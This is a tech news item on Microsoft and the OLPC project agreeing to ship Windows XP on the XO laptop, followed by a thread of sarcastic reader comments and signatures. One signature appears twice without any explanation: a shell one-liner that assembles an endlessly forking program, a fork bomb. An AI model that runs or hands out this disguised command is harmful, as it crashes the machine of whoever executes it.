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Microsoft and OLPC Agree To Put XP On the XO Laptop
Apro+im points out a NYTimes report which states that Microsoft and the OLPC project have officially agreed to put Windows XP on the XO laptop. While Microsoft has been working toward this for some time, analysts began to think a deal was more likely after Walter Bender resigned from the project and was replaced by Charles Kane. Former OLPC security developer Ivan Krstic had a lot to say about Windows on the XO as well. From the Times:
"Windows will add a bit to the price of the machines, about $3, the licensing fee Microsoft charges to some developing nations under a program called Unlimited Potential. For those nations that want dual-boot models, running both Windows and Linux, the extra hardware required will add another $7 or so to the cost of the machines, Mr. Negroponte said. The project's agreement with Microsoft involves no payment by the software giant, and Microsoft will not join One Laptop Per Child's board. 'We've stayed very pure,' Mr. Negroponte said.
Now, even poor kids can learn to hate M$
They have to install a special blue screen to run MS products.
I prefer rogues to imbeciles because they sometimes take a rest.
I for one was not looking forward to welcoming a new generation of young, creative, inquisitive, independent minded developing country overlords.
Where are we going and why are we in a handbasket?
Yep, as pure as the bride wearing a white dress for her wedding when she's six months pregnant.
MS is providing a "special" version of XP that will run with the limited hardware... trimming some of the crap (clippy perhaps?)
You should send an impolite message too.
$x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
$x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
$3? I wonder what they want for Vista... $0.50?
technical writing / development
"The people who buy the machines are not the children who use them, but government officials in most cases," said Nicholas Negroponte, founder of the nonprofit group. "And those people are much more comfortable with Windows."
Somewhere Balmer strokes his horns and drinks a toast to another soul!
I prefer the command line to pc games. Beside being more rewarding intellectually, all my friends think I'm in the Matrix. And by friends I mean my collectible action figures.
Balmer: "Hey, Nicky? Balmer here. Hey that little blurb about "open formats" and "no ceiling" for the OLPC, yeah you need to take that down, Man. Yeah. Yes, THEN I'll give you back you're testicles. I promise...no I'm not crossing my hideously devilish fingers. Okay....thanks, Buddy.:
Don't be ridiculous.
It's got MS Paint too.
One Botnet Node Per Child
Do it yourself, because no one else will do it yourself. [beta blockade 10-17 Feb]
This is the last nail, but you have to give him credit for hammering it in from inside the coffin.
One Lame PC.
No Sarbanes Oxley only applies to Apple
http://www.engadget.com/2008/01/21/the-20-ipod-touch-upgrade-really-for-legal-reasons-or-not/
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I say we put Bonzi buddy on the OLPCs going to Nigeria and have the gorilla thing mess up their email settings.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Wow, that's deep. It's like a zen riddle or something. "What is the nature of the Buddha? What is the sound of one hand clapping? What is the functionality of Windows with all the crap removed?"
I can see that's a problem, since this is an education project after all. What are the teachers going to do without principals?
Escher was the first MC and Giger invented the HR department.
Thai government reversed its stance and killed the FLOSS movement there
Unbelievable! I mean, Thailand has it's share of problems, but to completely outlaw dental hygiene?! That's going *too* far...
I purchased two OLPC PCs because I believed so strongly in the OLPC projects intent.
Now that I find out that a portion of my DONATION to the OLPC project is ending up in the pockets of Bill Gates and Steve Ballmer makes me fuckin' retch!
Mr. Negroponte has done more to damage the goodwill of people and the soul of open source more than Bill Gates, Novell and Darryl McBride even did!
AN UTTER FUCKIN' SELLOT!
Any more than Bill Gates or Microsoft (or Jobs/Apple or even Linus/x) is God.
The computer is just a tool.
Unless it's running MSwhatever, in which case, the user is just a tool, and the computer+MSwhatever is what they used to call idolatry.
Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.